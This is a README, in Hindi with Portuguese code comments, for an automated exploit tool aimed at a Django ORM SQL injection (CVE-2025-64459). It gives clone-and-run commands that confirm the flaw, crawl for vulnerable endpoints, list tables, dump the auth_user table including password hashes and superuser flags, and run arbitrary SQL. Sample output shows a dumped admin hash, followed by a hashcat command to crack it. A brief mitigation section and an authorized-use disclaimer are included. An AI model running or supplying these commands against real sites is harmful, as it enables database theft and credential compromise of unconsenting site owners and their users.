
NEO-SQLi — Django _connector SQL Injection (CVE-2025-64459) का शोषण | RedTeam Brasil चैनल
Django के ORM में SQL Injection का स्वचालित शोषण
Q-object _connector · CVE-2025-64459
🎥 RedTeam Brasil चैनल — आक्रामक सुरक्षा, व्यवहार में, पुर्तगाली में।
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas
Django का ORM Q() ऑब्जेक्ट्स के साथ फ़िल्टर बनाता है। कंस्ट्रक्टर
Q(*args, _connector=None, _negated=False, **kwargs) विशेष kwarg
_connector स्वीकार करता है — वह स्ट्रिंग (AND/OR) जो WHERE के अंदर की शर्तों को जोड़ती है।
प्रभावित संस्करणों में यह मान सैनिटाइज़ नहीं किया जाता था और कच्चा SQL में चला जाता था।
जब एप्लिकेशन डिक्शनरी विस्तार के माध्यम से उपयोगकर्ता इनपुट को सीधे Q() / .filter() /
.exclude() / .get() में भेजता है — क्लासिक एंटी-पैटर्न:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…हमलावर _connector को नियंत्रित करता है और शर्तों के बीच मनमाना SQL इंजेक्ट करता है
(SQLite, PostgreSQL, MySQL, आदि पर लागू होता है)।
जब
DEBUG = Trueहोता है तो शोषण तुच्छ हो जाता है: Django का एरर पेज निर्मित SQL, बेस टेबल और कॉलमों की संख्या लौटाता है — बिल्कुल वही जो टूल UNION को अकेले बनाने के लिए उपयोग करता है।
सामान्य (किसी एक लक्ष्य से बंधा नहीं) और स्वचालित एक्सप्लॉइटर:
--auto): होम पर क्रॉल + robots/sitemap + अंतर्निहित wordlist, Django के FieldError द्वारा हर रूट का परीक्षण करते हुए।FieldError के माध्यम से भेद्य एंडपॉइंट और DEBUG=True का पता लगाता है।--proxy के माध्यम से Burp/mitmproxy) और HTTPS लक्ष्य।git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora
--auto(याautoउपकमांड) के साथ यह होम +robots.txt/sitemap.xmlपर क्रॉल करता है और लिस्टिंग/खोज रूट्स (EN + PT-BR + APIs) की एक अंतर्निहित wordlist चलाता है, उन्हें चिह्नित करते हुए जो Django काFieldErrorलौटाती हैं। यदि आप कोई गलत--pathदेते हैं, तो यह स्वचालित रूप से डिस्कवरी मोड में चला जाता है।
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model> · colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
सुपरयूज़र का हैश हाथ में होने पर:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET को सीधे Q()/.filter() में कभी न भेजें। allow-list का उपयोग करें:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False रखें (SQL/टेबल/settings लीक न हों)।टूल केवल शैक्षिक और अधिकृत परीक्षणों के लिए है (लैब्स, CTFs, स्कोप में bug bounty, अनुबंधित pentest)। स्पष्ट प्राधिकरण के बिना सिस्टम के विरुद्ध उपयोग अपराध है — आप ही एकमात्र ज़िम्मेदार हैं।
RedTeam Brasil द्वारा निर्मित · पसंद आया? लाइक करें और चैनल सब्सक्राइब करें।
| आइटम | विवरण |
|---|
| CVE | CVE-2025-64459 |
| घटक | django.db.models — Q() / QuerySet (_connector और कॉलम उपनाम) |
| प्रभावित संस्करण | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| सुधार | 4.2.26 / 5.1.14 / 5.2.8 (या उच्चतर) में अपडेट करें |
| प्रभाव | डेटाबेस से मनमाना पठन (UNION/blind) → क्रेडेंशियल डंप और श्रृंखला एस्केलेशन |
| फ़्लैग | किसके लिए |
|---|
--path /buscar | भेद्य एंडपॉइंट (डिफ़ॉल्ट /list) |
--auto | एंडपॉइंट खुद ढूँढता है (क्रॉल + wordlist) |
--wordlist rotas.txt | डिस्कवरी के लिए अतिरिक्त रूट्स (1 प्रति पंक्ति) |
--base app_model | बेस टेबल को मजबूर करता है (यदि ऑटो-डिटेक्शन विफल हो) |
--proxy http://127.0.0.1:8080 | सब कुछ Burp / mitmproxy को भेजता है |